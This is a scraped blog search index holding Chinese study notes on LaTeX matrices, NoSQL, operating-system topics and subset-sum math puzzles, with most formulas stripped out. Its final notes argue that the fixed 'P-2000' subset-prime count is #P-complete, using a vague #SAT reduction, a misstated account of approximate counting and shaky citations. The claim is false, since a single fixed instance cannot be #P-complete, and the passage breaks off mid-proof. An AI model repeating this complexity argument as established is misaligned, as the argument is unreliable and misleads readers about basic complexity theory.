\\left|a\\right|^\\left|x\\right| 直接插入竖线：指定垂直长度相匹配： 注：所有成对出现的符号均可以像上面那样使用 \\left 、 \\right 标签来指定其大小匹配的字符块。 矩阵和行列式所有的矩阵都是使用 \\begin{matrix} 开始， \\end{matrix} 结束。其中的 matrix 还可以改为 pmatrix 、 bmatrix 、 Bmatrix 、 vmatrix 、 Vmatrix 。 在每一行中使用 & 分隔元素，行末用双反斜杠 \\ 表示换行。 ## 基础格式 对于下面的公式，修改大括号内的关键字分别为 matrix 、 pmatrix 、 bmatrix 、 Bmatrix 、 vmatrix 、 Vmatrix 时对应的情况如下所示。 \\begin{matrix}A & B & C\\\\D & E & F\\\\G & H & I\\\\\\end{matrix} matrix pmatrix bmatrix Bmatrix vmatrix Vmatrix 带省略号的矩阵这里使用 bmatrix 做示范，其他的类似。 如上面 “省略号” 所在小节所示，时使用 \\cdots 表示水平方向省略号， \\vdots 表示竖直方向省略号， \\ddots 表示对角线方向省略号（我这里为了美观把公式按 & 对齐了，这并不是必需的）。 \\begin{bmatrix}A & B & \\cdots & C \\\\D & E & \\cdots & F \\\\\\vdots & \\vdots & \\ddots & \\vdots \\\\G & H & \\cdots & I \\\\\\end{bmatrix} 矩阵方程（函数）使用 \\begin{equation} 作为整个公式块的开始，以 \\end{equation} 结束。在里面再配合其他符号的语法使用即可。 一个简单的例子如下（这里使用 bmatrix 做示范，其他的类似）。 \\begin{equation}H_x=\\frac{1}{3}\\times{\\begin{bmatrix}A & B & \\cdots & C \\\\D & E & \\cdots & F \\\\\\vdots & \\vdots & \\ddots & \\vdots\\\\G & H & \\cdots & I \\\\\\end{bmatrix}}\\end{equation} 其他符号 符号 语法 \\infty \\triangle \\angle \\checkmark \\nabla 公式引用 引用表达式 e^{i\\pi}+1=0 \\label{f1}引用表达式 \\eqref{f1}"},{"title":"","date":"2020-02-09T02:41:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/NoSQL/Cassandra.html","permalink":"https://blog.mhuig.top/notes/NoSQL/Cassandra","excerpt":"","text":"Cassandra Cassandra - NoSQL Cassandra 是一套开源分布式 NoSQL 数据库系统。它最初由 Facebook 开发，用于储存收件箱等简单格式数据. volantis.css(\"/lib/hexo-github/github.css\"); volantis.js(\"/lib/hexo-github/github.js\").then(() => { new Badge(\"#badge-container-MHuiG-NoSQL-Archive-faa8fcab06dbfc3a3820ca251dd48feac8a4f1d7\", \"MHuiG\", \"NoSQL-Archive\", \"faa8fcab06dbfc3a3820ca251dd48feac8a4f1d7\", false); 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NoSQL，泛指非关系型的数据库。NoSQL 数据库的产生就是为了解决大规模数据集合多重数据种类带来的挑战，特别是大数据应用难题。 NoSQL 数据库是应对传统关系型数据库局限的非关系型解决方案，支持结构化、半结构化和非结构化数据存储，采用分布式架构实现水平扩展，包括键值存储、文档存储、列存储和图形数据库等类型，广泛应用于大数据处理、实时分析等场景。 volantis.css(\"/lib/hexo-github/github.css\"); volantis.js(\"/lib/hexo-github/github.js\").then(() => { new Badge(\"#badge-container-MHuiG-NoSQL-Archive-faa8fcab06dbfc3a3820ca251dd48feac8a4f1d7\", \"MHuiG\", \"NoSQL-Archive\", \"faa8fcab06dbfc3a3820ca251dd48feac8a4f1d7\", false); })"},{"title":"","date":"2022-05-10T02:04:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":false,"path":"notes/NoSQL/index.html","permalink":"https://blog.mhuig.top/notes/NoSQL/","excerpt":".fa-secondary{opacity:.4} NoSQL","text":".fa-secondary{opacity:.4} NoSQL NoSQL .prev-next{ display: none !important; }"},{"title":"","date":"2019-09-26T08:24:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/OS/bank.html","permalink":"https://blog.mhuig.top/notes/OS/bank","excerpt":"","text":"银行家算法 银行家算法 银行家算法（Banker's Algorithm）是一个避免死锁（Deadlock）的著名算法，是由艾兹格・迪杰斯特拉在 1965 年为 T.H.E 系统设计的一种避免死锁产生的算法。它以银行借贷系统的分配策略为基础，判断并保证系统的安全运行。 背景在银行中，客户申请贷款的数量是有限的，每个客户在第一次申请贷款时要声明完成该项目所需的最大资金量，在满足所有贷款要求时，客户应及时归还。银行家在客户申请的贷款数量不超过自己拥有的最大值时，都应尽量满足客户的需要。在这样的描述中，银行家就好比操作系统，资金就是资源，客户就相当于要申请资源的进程。 进程 Allocation Max Available ＡＢＣＤ ＡＢＣＤ ＡＢＣＤP1 ００１４ ０６５６ １５２０ P2 １４３２ １９４２ P3 １３５４ １３５６P4 １０００ １７５０ 我们会看到一个资源分配表，要判断是否为安全状态，首先先找出它的 Need，Need 即 Max (最多需要多少资源) 减去 Allocation (原本已经分配出去的资源)，计算结果如下： NEEDＡＢＣＤ０６４２ ０５１００００２０７５０ 然后加一个全都为 false 的字段 FINISHfalsefalsefalsefalse 接下来找出 need 比 available 小的 (千万不能把它当成 4 位数 他是 4 个不同的数) NEED AvailableＡＢＣＤ ＡＢＣＤ０６４２ １５２００５１０<-０００２０７５０ P2 的需求小于能用的，所以配置给他再回收 NEED AvailableＡＢＣＤ ＡＢＣＤ０６４２ １５２０００００ ＋１４３２０００２－－－－－－－０７５０ ２９５２ 此时 P2 FINISH 的 false 要改成 true (己完成) FINISHfalsetruefalsefalse 接下来继续往下找，发现 P3 的需求为 0002，小于能用的 2952，所以资源配置给他再回收 NEED AvailableＡＢＣＤ Ａ Ｂ Ｃ Ｄ０６４２ ２ ９ ５ ２００００ ＋１ ３ ５ ４００００－－－－－－－－－－０７５０ ３ 12 10 6 依此类推，做完 P4→P1，当全部的 FINISH 都变成 true 时，就是安全状态。 安全和不安全的状态如果所有过程有可能完成执行（终止），则一个状态（如上述范例）被认为是安全的。由于系统无法知道什么时候一个过程将终止，或者之后它需要多少资源，系统假定所有进程将最终试图获取其声明的最大资源并在不久之后终止。在大多数情况下，这是一个合理的假设，因为系统不是特别关注每个进程运行了多久（至少不是从避免死锁的角度）。此外，如果一个进程终止前没有获取其它能获取的最多的资源，它只是让系统更容易处理。 基于这一假设，该算法通过尝试寻找允许每个进程获得的最大资源并结束（把资源返还给系统）的进程请求的一个理想集合，来决定一个状态是否是安全的。不存在这个集合的状态都是不安全的。"},{"title":"","date":"2019-09-24T13:11:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/OS/cpu.html","permalink":"https://blog.mhuig.top/notes/OS/cpu","excerpt":"","text":"CPU 调度 CPU 调度 基本概念CPU－I / O 区间周期进程执行由 CPU 和 I／O 等待周期组成。进程在这两个状态之间切换。 CPU 调度程序所谓 CPU 调度程序，其实就是：当 CPU 空闲时，操作系统如何从就绪队列中选择一个进程来执行的策略。 抢占调度 非抢占调度，一旦 CPU 分配给一个进程，那么该进程会一直使用 CPU 直到进程终止或切换到等待状态。 抢占调度，可能一个进程正在运行时，另一个新的进程也到来。而依据调度策略与当前各进程状态，新进程应该先执行。那么，新进程会抢占 CPU 进行执行，原进程切换到就绪状态。 分派程序分派程序是一个模块，用来将 CPU 的控制交给由短期调度程序选择的进程。 功能包括： 切换上下文 切换到用户模式 跳转到用户程序的合适位置，以重新启动程序 调度准则 CPU 使用率 吞吐量：一个时间单元内所完成进程的数量 周转时间：从进程提交到进程完成的时间段称为周转时间。 等待时间：为在就绪队列中等待所花费时间之和 响应时间：开始响应所需要的时间，响应时间指从进程提交到被运行第一段代码的时间 调度算法1. 先到先服务调度（FCFS）非抢占。 补充概念：护航效果：所有其他进程等待一个大进程释放 CPU 的状态 2. 最短作业优先调度（SJF）这一算法将每个进程与其下一个 CPU 区间段相关联。当 CPU 为空闲时，它会赋给具有最短 CPU 区间的进程。 如果两个进程具有同样长度，那可以使用 FCFS 调度来处理。 SJF 调度算法的平均等待时间最小。 SJF 的难点就是如何得知下一个 CPU 区间的长度。书上采用，预测下一个 CPU 区间为以前 CPU 区间的测量长度的指数平均。 T（n＋1）＝åt（n）＋（1-å）T（n） 抢占 SJF 调度：最短剩余时间优先调度 也存在非抢占 SJF 3. 优先级调度SJF 可作为通用优先级调度算法的一个特例 （书上默认）优先级越高，数值越小 即 优先级 1 比优先级 2 的优先级要高 优先级调度可以是抢占的或者非抢占的。 主要问题：无穷阻塞或饥饿＝》它可能会导致某个低优先级进程无线等待 CPU 解决：使用老化技术，以逐渐增加在系统中等待很长时间的进程的优先级 4. 轮转法调度（RR）定义一个较小时间单元，称为时间片。 将就绪队列保存为进程的 FIFO 队列。新进程增加到就绪队列的尾部。CPU 调度程序就从就绪队列中选择第一个进程，设置定时器在一个时间片之后中断，再分排该进程。（1 进程在时间片中运行完，进程自动释放 CPU，下一个进程开始执行 2. 进程未在时间片内执行完，定时器产生中断并产生操作系统中断，然后进行上下文切换，将进程加入到就绪队列的尾部，就绪队列中下一个进程开始执行） 该策略的平均等待时间通常较长 具体效率和时间片大小有关 适合分时（交互系统） 5. 多级队列调度将就绪队列分成多个独立队列，每个队列有自己的调度算法，每个队列有自己的优先级 6. 多级反馈队列调度在上面的基础上，允许等待时间过长的进程转移到更高优先级的队列"},{"title":"","date":"2019-09-12T01:45:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/OS/fdd.html","permalink":"https://blog.mhuig.top/notes/OS/fdd","excerpt":"","text":"前驱图和程序执行 前驱图和程序执行 在多道程序环境中，允许多个程序并发执行；程序本身是具体代码，不能反映程序的执行过程从而引入进程。进程是抽象的。作为资源分配和独立运行的基本单位是进程。操作系统所有的特征都是基于进程而体现的。 程序顺序执行时的特征 顺序性：每个操作在上一操作结束后开始 封闭性：程序开始执行，其执行结果不受外界因素影响 可再现性：只要环境和初始条件相同，其执行结果一定相同 前驱图前驱图是一个有向无循环图（DAG)，用于描述进程之间执行的前后关系。 注意：前驱图中不能存在循环。 程序并发执行及其特征 间断性： 共享资源 -> 相互制约 -> 执行 - 暂停 - 执行 失去封闭性： 一个程序的执行受到其他程序的影响 不可再现性 结论并发是提高资源利用率的好方法，从而提高系统吞吐量，所以程序尽量并发执行。 1）串行是顺序执行； 2）并发是交叉使用设备； 3）并行使用多个处理机 --- 更快。"},{"title":"","date":"2022-05-10T06:58:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":false,"path":"notes/OS/index.html","permalink":"https://blog.mhuig.top/notes/OS/","excerpt":".fa-secondary{opacity:.4} OS","text":".fa-secondary{opacity:.4} OS OS .prev-next{ display: none !important; }"},{"title":"","date":"2019-09-11T11:03:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/OS/introduction.html","permalink":"https://blog.mhuig.top/notes/OS/introduction","excerpt":"","text":"操作系统引论 操作系统引论 操作系统（OS）是配置在计算机硬件上的第一层软件，是对硬件系统的首次扩充。 操作系统的定义OS 是一组控制和管理计算机硬件和软件资源，合理地对各类作业进行调度（合理地组织计算机工作），以及方便用户使用的程序的集合 操作系统的目标和作用操作系统的目标 方便性 * 有效性 * 提高系统资源利用率 提高系统吞吐量 可扩充性 开放性 遵循世界标准规范 方便性和有效性是设计操作系统时最重要的两个目标。 操作系统的作用 OS 作为用户与计算机硬件系统之间的接口（用户的角度） 三种方式使用计算机： 命令行方式 系统调用方式 图标窗口方式 OS 作为计算机系统资源的管理者（资源管理角度） 对四类资源进行管理： 处理机管理 存储器管理 I / O 设备管理 文件管理 资源管理包含两种资源共享的使用方法： 分时 多个用户分时地使用该资源 空分 存储资源的空间可以被多个用户共同以分割的方式占用。 OS 实现了对计算机资源的抽象（扩充机器） 裸机 虚拟机 / 扩展机 推动操作系统发展的主要动力 不断提高计算机资源利用率 方便用户 机器的不断更新换代 计算机体系结构的不断发展 不断提出新的应用需求 操作系统的发展过程无操作系统的计算机系统 人工操作方式 缺点： 用户独占全机 CPU 等待人工操作 人机矛盾 CPU 与 I / O 设备之间速度不匹配的矛盾 工作效率低 脱机输入/输出（Off-Line I/O）方式 程序和数据的输入和输出都是在外围机的控制之下完成的， 即：程序和数据的输入和输出是在脱离主机的情况下进行 脱机 I / O 的主要优点 减少了 CPU 的空闲时间 提高 I/O 速度，缓和了 CPU 和 I/O 设备间不匹配的矛盾 单道批处理操作系统 单道批处理系统的处理过程 批处理系统旨在提高系统资源的利用率和系统吞吐量. 特征: 自动性 顺序性 单道性 单道批处理系统的缺点最主要缺点：系统中的资源得不到充分利用 多道批处理操作系统 多道程序设计的基本概念： 内存同时驻留多道程序 (作业)，处理机 (单处理机) 以交替的方式同时处理多道程序。 宏观：已有多道程序开始运行且尚未结束； 微观：某一时刻处理机只运行某道作业。 好处： 提高 CPU 的利用率； 可提高内存和 I / O 设备的利用率； 增加系统吞吐量。 能提高吞吐量的原因： 使 CPU 和资源保持 “忙碌” 状态； 仅当作业完成或运行不下去时才进行切换，系统开销小。 特征 多道性 无序性：作业完成的先后顺序和他们进入内存的顺序并无严格的对应关系 调度性: A、作业调度 B、进程调度 优点： 资源利用率高 系统吞吐量大 缺点： 平均周转时间长 作业的周转时间是指从作业进入系统开始，直至其完成并退出系统为止所经历的时间。 无交互能力 推动多道批处理系统形成和发展的主要动力是提高资源利用率和系统吞吐量； 分时操作系统 推动分时系统形成和发展的主要动力，则是用户的需求（人 —— 机交互）。 工作方式 一台主机连接了若干个终端；每个终端有一个用户在使用； 交互式的向系统提出命令请求； 系统接受每个用户的命令采用时间片轮转方式处理服务请求并通过交互方式在终端上向用户显示结果，用户根据上步结果发出下道命令。 关键问题: 及时接收 及时处理 作业直接进入内存，在内存才能处理； 采用轮转运行方式。 不允许一个作业长期占用处理机； 规定每个作业只能运行很短的时间，使每个用户及时与自己的作业交互，从而用户请求得到及时响应。 特点 多路性：即同时性（宏观的同时） 交互性 独立性：用户好像独占主机 及时性 实时操作系统 定义 是指系统能及时响应外部事件的请求，在规定的时间内完成对该事件的处理，并控制所有实时任务协调一致地运行。 实时系统与分时系统特征的比较 多路性 独立性 及时性 交互性 可靠性 操作系统的基本特性 并发性 间断性 失去封闭性 不可再现性 共享性 互斥共享（临界资源） 同时访问（eg：同时读磁盘） 虚拟技术 时分复用技术 虚拟处理机技术 虚拟设备技术 空分复用技术 虚拟磁盘技术 虚拟存储器技术（内存） 异步性 OS 结构设计 无结构 OS 模块化 OS 分层式 OS 微内核 OS 微内核技术：是指精心设计的、能实现现代操作系统核心功能的小型内核，运行在核心态，开机后常驻内存。 常驻内存的好处：因为 CPU 只访问内存，速度快、效率高。 微内核 OS 优点： 提高系统的可扩展性 增强系统的可靠性 可移植性强 提供对分布式系统的支持 融入面向对象技术"},{"title":"","date":"2019-09-12T01:54:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/OS/process.html","permalink":"https://blog.mhuig.top/notes/OS/process","excerpt":"","text":"进程的描述 进程的描述 为了能使程序并发执行，并且可以对并发执行的程序加以描述和控制，人们引入了 “进程” 的概念。 进程的特征和定义结构特征进程实体是由程序段、数据段及进程、控制块（PCB）三部分组成. UNIX 中将这三部分称为 “进程映像”。 创建进程：创建进程实体中的进程控制块（PCB）。 撤销进程：撤销进程实体中的进程控制块（PCB）。 进程的特征 动态性 并发性 独立性 异步性"},{"title":"","date":"2019-09-24T13:13:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/OS/semaphore.html","permalink":"https://blog.mhuig.top/notes/OS/semaphore","excerpt":"","text":"信号量机制 进程同步之信号量机制 信号量（semaphore）的数据结构为一个值和一个指针，指针指向等待该信号量的下一个进程。信号量的值与相应资源的使用情况有关。 信号量机制信号量机制即利用 pv 操作来对信号量进行处理。 什么是信号量？信号量（semaphore）的数据结构为一个值和一个指针，指针指向等待该信号量的下一个进程。信号量的值与相应资源的使用情况有关。 当它的值大于 0 时，表示当前可用资源的数量； 当它的值小于 0 时，其绝对值表示等待使用该资源的进程个数。 注意，信号量的值仅能由 PV 操作来改变。 一般来说，信号量 S$\\ge$0 时，S 表示可用资源的数量。执行一次 P 操作意味着请求分配一个单位资源，因此 S 的值减 1；当 S < 0 时，表示已经没有可用资源，请求者必须等待别的进程释放该类资源，它才能运行下去。而执行一个 V 操作意味着释放一个单位资源，因此 S 的值加 1；若 S£0，表示有某些进程正在等待该资源，因此要唤醒一个等待状态的进程，使之运行下去。 经典伪代码p 操作（wait）：申请一个单位资源，进程进入 wait(semaphore *S){ S->value--; if(S->value<0) block(S->list);} v 操作（signal）：释放一个单位资源，进程出来 signal(semaphore *S){ S->value++; if(S->value<=0) wakeup(S->list);} 综合训练专题"},{"title":"","date":"2025-09-14T11:14:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/P-2000/1.html","permalink":"https://blog.mhuig.top/notes/P-2000/1","excerpt":"","text":"D2-2000 Problem D2-2000 Problem QuestionFind the number of subsets of ,the sum of whose elements is divisible by . 对于集合 ，它有多少个子集满足这个子集中所有数之和能被 整除? Construction generating functionFactored Expanded Carry in special value （ , or ）"},{"title":"","date":"2026-01-20T07:15:00.000Z","updated":"2026-01-20T07:23:00.000Z","comments":true,"path":"notes/P-2000/10.html","permalink":"https://blog.mhuig.top/notes/P-2000/10","excerpt":"","text":"开关灯问题 开关灯问题 问题某生产车间有 盏照明灯，编号分别为 ， ,初始时刻所有灯全部处于关闭状态，检修机器人按照下面的步骤进行检修 (改变某灯的开关状态的含义是，若该灯处于关闭状态，改变状态后则处于打开状态，反之则处于关闭状态): 1. 改变编号为 的倍数的灯的开关状态，即打开所有灯; 2. 改变编号为 的倍数的灯的开关状态，即关闭所有编号为偶数的灯. 以此类推第 步改变编号为 的倍数的灯的开关状态，直至 时，检修完成. (1) 检修完成时，求编号为 的灯的开关状态; (2) 记 , : (i) 求数列 的前 项和 ; (ii) 检修完成时，求所有处于打开状态的灯的编号总和. 解答(1) 编号为 30 的灯的开关状态一盏灯的开关状态取决于其被操作的次数：初始关闭时，操作奇数次则打开，偶数次则关闭。灯的编号为 30，其被操作的次数等于 30 的正约数个数（第 k 步操作编号为 k 倍数的灯）。30 的正约数为 1, 2, 3, 5, 6, 10, 15, 30，共 8 个（偶数）。因此，30 号灯被操作 8 次，最终处于关闭状态。 (2) (i) 数列 的前 项和 已知 ，先化简 ： 前 项和 。 利用平方和公式 及 ，得： Tips 已知 ，先化简 ：展开 ，代入得： 。 前 项和 。 另通过裂项求和计算 ： 。 右侧第一项，化简得： 。 第二项为等差数列求和： 。 故 。 (2) (ii) 所有打开状态灯的编号总和灯的最终状态由被操作次数（约数个数）决定：完全平方数有奇数个约数（被打开），非完全平方数有偶数个约数（被关闭）。 1 到 900 中，最大完全平方数为 ，故打开的灯编号为 。利用平方和公式，总和为： 出题人假设你不会平方和公式给了第一问辅助，但是如果你会呢（ Tips 灯打开的条件是操作次数为奇数，即编号有奇数个正因数。只有完全平方数有奇数个因数（因数成对出现，平方数的平方根重复）。 编号范围为 1 到 900，完全平方数为 （因 ）。所求总和为 。 由 (2)(i) 的结论： ，解得： 。 代入 ： 。 答案：(1) 关闭；(2)(i) ；(ii) 9455。 题目更改把题目中的 \"改变灯的开关状态\" 变为 \"把灯关闭\",这样就变成了 \"埃氏筛\" 的操作，与平方数有关变成了与素数有关。 原问题中 “改变开关状态” 本质是对灯进行 “ toggle 操作”（开变关、关变开），最终状态由约数个数的奇偶性决定（平方数因约数个数为奇数而保持打开）。而将操作改为 “把灯关闭”（即仅执行 “关闭” 动作，不改变已关闭状态）后，整个过程完全对应埃拉托斯特尼筛法，最终打开的灯不再是平方数，而是素数。 还有一件事： 数学归纳法，证明略。 …"},{"title":"","date":"2025-09-14T11:14:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/P-2000/2.html","permalink":"https://blog.mhuig.top/notes/P-2000/2","excerpt":"","text":"D5-2000 Problem D5-2000 Problem QuestionFind the number of subsets of , the sum of whose elements is divisible by . 对于集合 ，它有多少个子集满足这个子集中所有数之和能被 整除? 递推法首先对集合进行分组 。对于任意 ，其子集中所有数字的和对 取余的结果与 相同。可以得到结果为 的个数分别为 。注意空集也满足条件（认为空集的所有数字和为 ）。 记 为 ，记 满足条件的子集个数为 ，则 满足条件的子集为： 对于数字和能被 整除的 子集，同样取数字和能被 整除的 子集配对，个数为 对于数字和对 取余为 的 子集，取数字和对 取余为 的 子集配对。对于其它余数情况同理，可以得到这样的子集个数为 综上有 求通项公式 并代入 即可得到原问题答案： 生成函数法生成函数经常用于组合计数中。考虑多项式： 将其展开的过程可以与构造子集的过程一一对应：每个元素都只有选与不选两种选择，展开过程选择 则意味着集合选取了元素 。同时由于乘法的特性 ，展开式中各项的次数即等于对应子集的元素和，因此系数就对应着有多少这样的子集。 由于元素和是否能被 整除只和模 的余数有关，生成函数可以简化为 所以原问题等价与求该展开式中所有 项的系数和。可以利用 次单位根性质。 单位根 在复平面上的单位根为： 令 ，则 的根可以写作 。又由如下的关系式： 可以得到： 上式代入任意 可以得到： 求解根据 ，可以令 为 的单位根，则 中所有 项的系数和可以由下式计算： 其中 。 可以通过 中代入 进行计算，得到 ，同理可得其它项。最后答案为： 视频演示3Blue1Brown Video (Bilibili) Harnessing the Complex , . let then, , Final blow let then,"},{"title":"","date":"2025-09-14T22:23:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/P-2000/4.html","permalink":"https://blog.mhuig.top/notes/P-2000/4","excerpt":"","text":"P-∞ Problem P-∞ Problem QuestionFind the number of subsets of , the sum of whose elements is prime. 对于无限集合 ，它有多少个子集满足这个子集中所有数之和是素数? Answer这个问题的答案是无穷大，这是显然的。"},{"title":"","date":"2025-09-14T11:19:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/P-2000/3.html","permalink":"https://blog.mhuig.top/notes/P-2000/3","excerpt":"","text":"P-2000 Problem P-2000 Problem QuestionFind the number of subsets of , the sum of whose elements is prime. 对于集合 ，它有多少个子集满足这个子集中所有数之和是素数? Answer这个问题的答案是一个 601 位数字： 8304892715152426936070137498180366951323123591338457648721906297038206398756692872049939952182387776762800183885248459501290786564672210354017773551424848046927045008616079056825560648898468420422621846146793963340643941518503008500235293658542807207327191593631098329387532209089313120780635029943442431234175045726292274653309041480530386826868074866076060116609031902385565926623884348992521276793726611890186670817874208487624041237443330782153639899786616257926061126750693091906490532639948176692797958350410415027075011620429258616974629063357332305654228520374355076798057182569127825638179177"},{"title":"","date":"2025-12-09T04:23:00.000Z","updated":"2025-12-09T04:25:00.000Z","comments":true,"path":"notes/P-2000/5.html","permalink":"https://blog.mhuig.top/notes/P-2000/5","excerpt":"","text":"P-2000 问题是 #P 完全问题 P-2000 问题是 #P 完全问题 #P 完全类的定义与判定标准#P 类的基本概念#P 类（Sharp-P,Counting Polynomial Time）由 Valiant 于 1977 年提出，用于刻画计数问题的计算复杂性。其核心定义为：所有能被计数图灵机在多项式时间内求解的计数函数集合，其中计数图灵机是一种能统计并输出所有接受分支数量的非确定性图灵机。与 NP 类（判定问题）不同，#P 类问题要求精确计算满足条件的解的个数，而非仅判断解的存在性。 #P 完全性的判定准则一个问题若满足以下两个条件，则被称为 #P 完全问题： 属于 #P 类：问题本身可被多项式时间计数图灵机求解。 #P-hard：所有 #P 类问题可在多项式时间内归约到该问题。 典型的 #P 完全问题包括： #SAT：计算布尔表达式的可满足赋值个数。 积和式计算： 矩阵的积和式求值是首个被证明的非平凡 #P 完全问题。 完美匹配计数：二分图中完美匹配的个数计数。 P-2000 问题的 #P 类属性问题形式化与计数特性P-2000 问题要求计算集合 中子集和为素数的子集个数，其数学表述为： 其中 是子集和为 的子集个数， 是素数集合。 归约到 #P 类的证明证明：构造非确定性图灵机 ，其计算分支对应所有可能子集。对于每个分支： 计算子集和 。 验证 是否为素数（可在多项式时间内完成）。 若验证通过，则该分支接受。 的接受分支数即为 P-2000 问题的解，且 的运行时间为多项式级（子集编码长度为 ，素数验证为 ）。因此，P-2000 问题属于 #P 类。 P-2000 问题的 #P-hard 性证明从 #SAT 问题的多项式归约定理：#SAT 问题可多项式归约到 P-2000 问题。 归约构造：对于任意布尔公式 ，构造集合 如下： 引入变量标识数 （确保子集和的二进制表示唯一对应变量选择）。 引入约束项 ，编码 的子句结构，使得仅当子句满足时 对和的贡献为 0。 添加素数偏移量 （大于所有变量标识数之和），使得满足赋值对应的子集和为素数 （ 为变量选择的唯一编码）。 正确性验证： 每个满足赋值对应唯一子集和 （素数）。 不满足赋值的子集和为合数或非素数。 归约时间复杂度为 ，满足多项式归约要求。 与已知 #P 完全问题的联系P-2000 问题的计数本质与积和式计算有深刻联系。积和式的 #P 完全性证明依赖于其与子集和问题的等价性，而 P-2000 问题可视为带素数约束的广义子集和计数问题。由于素数验证是多项式时间操作，该约束不改变问题的 #P-hard 性。 复杂性层级关系的进一步分析#P 与 NP 的关系根据 Toda 定理，多项式层级 PH 中的所有问题可归约到 #P 问题，即 。 这表明 #P 类问题至少与 PH 一样难，而 P-2000 问题作为 #P 完全问题，其难度严格高于 NP 完全问题（除非 ）。 近似求解的可能性尽管精确求解 #P 完全问题在多项式时间内不可行，但 Sipser 和 Stockmeyer 证明，#P 问题存在随机近似算法，其误差可控制在多项式时间内。对于 P-2000 问题，可通过蒙特卡洛方法或马尔可夫链采样估计素数子集和的个数，但精确值计算仍需指数时间。 关键证据支持子集和问题的计数复杂性Sasamoto 等人的研究表明，子集和问题的统计特性与自旋玻璃模型类似，其计数版本具有 #P-hard 性。P-2000 问题作为子集和问题的变体，继承了这一复杂性特征。 素数约束的影响素数验证的多项式时间性质确保了 P-2000 问题不会因额外约束而降低复杂性。正如积和式计算中矩阵元素的特定结构不影响其 #P 完全性，素数筛选步骤（时间复杂度 ， 为最大子集和）不改变问题的 #P-hard 性。 结论：P-2000 问题是 #P 完全问题综合上述分析，P-2000 问题满足 #P 完全性 (Sharp-P-complete) 的两个核心条件： 属于 #P 类：可通过非确定性图灵机枚举子集并计数素数和子集。 #P-hard：通过从 #SAT 问题的多项式归约证明。 因此，P-2000 问题是 #P 完全问题。"},{"title":"","date":"2025-12-09T06:23:00.000Z","updated":"2025-12-09T06:25:00.000Z","comments":true,"path":"notes/P-2000/6.html","permalink":"https://blog.mhuig.top/notes/P-2000/6","excerpt":"","text":"P-n 问题与计数版本子集和问题的归约关系 P-n 问题与计数版本子集和问题的归约关系 P-n ProblemFind the number of subsets of , the sum of whose elements is prime. 对于集合 ，它有多少个子集满足这个子集中所有数之和是素数? 问题背景与复杂性理论基础P-n 问题要求计算集合 中所有元素之和为素数的子集数量。这一问题的核心挑战在于其计数本质，不仅需要判定是否存在满足条件的子集（如 NP 问题），还需精确计算所有符合条件的子集个数。在计算复杂性理论中，此类问题属于 #P 类，即计算 NP 问题解数量的复杂度类。Valiant 于 1979 年首次定义 #P 类时指出，这类问题的难度通常远超对应的判定问题，即使 P = NP 成立，#P 问题仍可能无法高效求解。 子集和问题（Subset Sum）作为经典的 NP 完全问题，其计数版本（#Subset Sum）已被证明是 #P 完全的。#Subset Sum 要求计算集合中所有和为目标值 的子集数量，而 P-n 问题可视为 #Subset Sum 的扩展：需对所有素数 计算和为 的子集数量之和。这种扩展引入了数论复杂性（素性判断），但核心困难仍在于子集和的计数本身。 #P 完全性与归约理论#P 类与 #P 完全性定义#P 类包含所有 NP 问题的计数版本，其严格定义为：#P 是由多项式时间非确定性图灵机（NTM）接受路径数量的函数构成的复杂度类。例如，NP 问题 “图中是否存在哈密顿路径” 对应 #P 问题 “图中有多少条哈密顿路径”。#P 完全性则要求问题满足两个条件： #P 难：任何 #P 问题可在多项式时间内归约到该问题； 属于 #P：问题本身的解可由 NTM 在多项式时间内计数。 归约的核心思想归约是复杂性理论中证明问题难度的关键工具。对于计数问题，常用的归约方式包括： 卡普归约（Karp Reduction）：通过多项式时间函数将问题 A 的实例映射为问题 B 的实例，使得 A 的解可由 B 的解直接计算； 库克归约（Cook Reduction）：允许通过多项式次调用问题 B 的 oracle 来解决问题 A。 P-n 问题与 #Subset Sum 的归约关系需满足：存在多项式时间算法，将 #Subset Sum 的任意实例转换为 P-n 问题的实例，且两者的解数量相等。 P-n 问题到 #Subset Sum 的归约问题转换的形式化描述设 #Subset Sum 的实例为 ，其中 是整数集合， 是目标和。需构造 P-n 问题的等价实例，使得： 其中 表示集合 中和为素数 的子集数量。 归约步骤 素性判断的多项式时间化：使用 AKS 素性测试算法，可在 时间内判断数 是否为素数，其中 是常数。对于 P-2000 问题，目标和 的最大值为 ，故素性判断可在多项式时间内完成。 子集和计数的嵌入：对于 #Subset Sum 的目标值 ，构造 P-n 问题的过滤条件：仅当 为素数时， ；否则 。这一构造可通过在 P-n 问题的计数过程中加入素性判断实现。 复杂性分析：由于素性判断是多项式时间操作，且 #Subset Sum 的实例可直接嵌入 P-n 问题的目标素数集合中，该归约过程的时间复杂度为多项式级。因此，#Subset Sum 可归约到 P-n 问题。 #Subset Sum 到 P-n 问题的归约反向归约的挑战证明 P-n 问题是 #P 完全的，需进一步证明 #Subset Sum 可归约到 P-n 问题。关键在于构造一个集合 ，使得和为目标值 的子集数量等于 中和为素数的子集数量。 素数偏移技术考虑集合 和目标 ，构造新集合： 其中 是大于 的素数。此时， 中和为素数的子集有两类： 不含 的子集：和为素数 ，对应 中 sum 为 的子集； 含 的子集：和为 （ 是 的子集和），当 时， 为素数。 通过选择 使得 为素数且 ，可确保第二类子集仅包含和为 的情况。此时： 若能确保 中除 外无其他素数子集和（如选择 中元素均为偶数， 为偶数， 为奇素数），则 ，从而完成归约。 归约的正确性证明归约的保真性（Soundness）需证明：若 #Subset Sum 实例 有 个解，则 P-n 实例 有 个和为素数的子集。由构造可知，含 的子集仅当 时和为素数 ，且不含 的子集无素数和，因此 。 归约的完备性（Completeness）需证明：若 P-n 实例 有 个解，则 #Subset Sum 实例 有 个解。由于 ，含 的子集和必大于 ，而不含 的子集和小于 ，两者无重叠。因此 个解全部来自含 的子集，即 中有 